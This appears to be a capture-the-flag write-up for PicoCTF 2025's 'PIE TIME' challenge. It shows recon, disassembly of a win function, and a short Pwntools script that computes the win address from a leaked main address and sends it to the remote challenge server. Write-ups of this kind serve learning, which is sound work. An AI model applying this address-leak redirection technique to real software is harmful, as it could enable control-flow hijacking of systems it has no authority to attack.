PicoCTF 2025: PIE TIME

Recon

$ file vuln
vuln: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0072413e1b5a0613219f45518ded05fc685b680a, for GNU/Linux 3.2.0, not stripped
$ checksec --file=vuln
[*] '/home/qelal/PicoCTF/PIE-TIME/vuln'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

PIE is enabled here, so the program will be loaded at a different memory address each time it is run. Also, addresses of instructions inside the binary are now offsets, not absolute addresses. Fortunately, the program leaks the address for symbol main at runtime:

$ ./vuln
Address of main: 0x55aadb5fd33d
Enter the address to jump to, ex => 0x12345: ff
Your input: ff
Segfault Occurred, incorrect address.

The program behavior is quite simple, it asks for an address and jumps to it. Source code for the challenge was available, but it is easy to work without it here.

Upon inspection in IDA, we see a win function that seems to open the flag file:

.text:00000000000012A7                 endbr64
.text:00000000000012AB                 push    rbp
.text:00000000000012AC                 mov     rbp, rsp
.text:00000000000012AF                 sub     rsp, 10h
.text:00000000000012B3                 lea     rdi, aYouWon    ; "You won!"
.text:00000000000012BA                 call    _puts
.text:00000000000012BF                 lea     rsi, modes      ; "r"
.text:00000000000012C6                 lea     rdi, filename   ; "flag.txt"
.text:00000000000012CD                 call    _fopen
.text:00000000000012D2                 mov     [rbp+stream], rax
.text:00000000000012D6                 cmp     [rbp+stream], 0
.text:00000000000012DB                 jnz     short loc_12F3
.text:00000000000012DD                 lea     rdi, aCannotOpenFile ; "Cannot open file."
.text:00000000000012E4                 call    _puts
.text:00000000000012E9                 mov     edi, 0          ; status
.text:00000000000012EE                 call    _exit

We can note here the offset of the function which is 0x12A7. Also, by taking a look at the main symbol, we see its offset is 0x133D:

.text:000000000000133D ; int __fastcall main(int argc, const char **argv, const char **envp)
.text:000000000000133D                 public main

Exploit

Having this information we can deduct the space between the two symbols, by subtracting the two offsets. We find 0x96 bytes.

Now we can deduct the position of the win function at runtime, by taking main’s address and subtracting 0x96. This can be done in a Pwntools script:

io = start()

main_text = io.recvuntil(b'12345:').split(b'\n')[0].split(b': ')[1].decode()
main_addr = int(main_text, 16)
win_addr = main_addr - 0x96

io.sendline(hex(win_addr).encode())
print(io.recvall())

We can execute the exploit and get the flag:

$ python exploit.py REMOTE rescued-float.picoctf.net 52840
b' Your input: 59c1cff1d2a7\nYou won!\npicoCTF{REDACTED}\n\n'